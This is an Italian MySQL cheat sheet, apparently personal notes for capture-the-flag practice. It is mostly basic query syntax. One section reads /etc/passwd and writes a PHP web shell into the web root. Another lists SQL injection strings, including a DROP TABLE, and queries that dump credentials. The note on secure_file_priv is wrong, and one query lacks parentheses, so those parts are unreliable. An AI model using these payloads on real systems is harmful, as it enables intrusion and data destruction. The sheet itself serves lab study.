tags: database Comandi_Fondamentali_Database


COMANDI FONDAMENTALI MYSQL

-- Mostra tutti i database
SHOW DATABASES;
 
-- Usa un database specifico
USE nome_database;
 
-- Mostra tutte le tabelle nel database corrente
SHOW TABLES;
 
-- Descrive la struttura di una tabella
DESCRIBE nome_tabella;
-- Oppure
DESC nome_tabella;
SHOW COLUMNS FROM nome_tabella;

📊 INTERROGAZIONE DATI

-- Seleziona tutti i dati da una tabella
SELECT * FROM nome_tabella;
 
-- Seleziona colonne specifiche
SELECT colonna1, colonna2 FROM nome_tabella;
 
-- Con condizioni WHERE
SELECT * FROM nome_tabella WHERE condizione;
 
-- Con LIMITE di risultati
SELECT * FROM nome_tabella LIMIT 10;
 
-- Ordinamento
SELECT * FROM nome_tabella ORDER BY colonna ASC/DESC;

🛠️ MANIPOLAZIONE DATI

-- Inserire dati
INSERT INTO nome_tabella (colonna1, colonna2) VALUES (valore1, valore2);
 
-- Aggiornare dati
UPDATE nome_tabella SET colonna1 = valore1 WHERE condizione;
 
-- Esempio di aggiornamento dati
 
UPDATE runcheck SET run = 1;
 
-- Eliminare dati
DELETE FROM nome_tabella WHERE condizione;

🔎 INFORMAZIONI DI SISTEMA

-- Versione MySQL
SELECT VERSION();
 
-- Utente corrente
SELECT USER();
 
-- Privilegi utente
SHOW GRANTS;
SHOW GRANTS FOR CURRENT_USER;
 
-- Processi in esecuzione
SHOW PROCESSLIST;
 

📁 OPERAZIONI SU FILE (se privilegi sufficienti)

-- Leggere file di sistema
SELECT LOAD_FILE('/etc/passwd');
 
-- Scrivere file sul server
SELECT 'contenuto' INTO OUTFILE '/path/file.txt';
 
-- Scrivere shell PHP
SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/shell.php';

🎯 QUERY UTILI PER CTF

-- Cercare tabelle che potrebbero contenere credenziali
SELECT table_name FROM information_schema.tables 
WHERE table_schema = 'nome_database' 
AND table_name LIKE '%user%' OR table_name LIKE '%pass%';
 
-- Vedere tutte le colonne di tutte le tabelle
SELECT table_name, column_name FROM information_schema.columns 
WHERE table_schema = 'nome_database';
 
-- Dump di una tabella utenti
SELECT * FROM users;
SELECT username, password FROM admin;

🚨 IMPORTANTE PER CTF

-- Verifica se puoi scrivere file
SELECT @@secure_file_priv;
 
-- Se restituisce NULL o percorso, hai privilegi di scrittura
 
-- Provare diverse injection
' OR '1'='1
' UNION SELECT 1,2,3--
'; DROP TABLE users--

💾 ESEMPIO COMPLETO DI ENUMERAZIONE

-- 1. Lista database
SHOW DATABASES;
 
-- 2. Entra in un database sospetto
USE webapp;
 
-- 3. Lista tabelle
SHOW TABLES;
 
-- 4. Descrivi struttura tabella
DESCRIBE users;
 
-- 5. Leggi i dati
SELECT * FROM users;
 
-- 6. Cerca hash password
SELECT username, password FROM users WHERE username = 'admin';

🎪 ESCI E AIUTO

-- Uscire da MySQL
EXIT;
QUIT;
\q
 
-- Aiuto
HELP;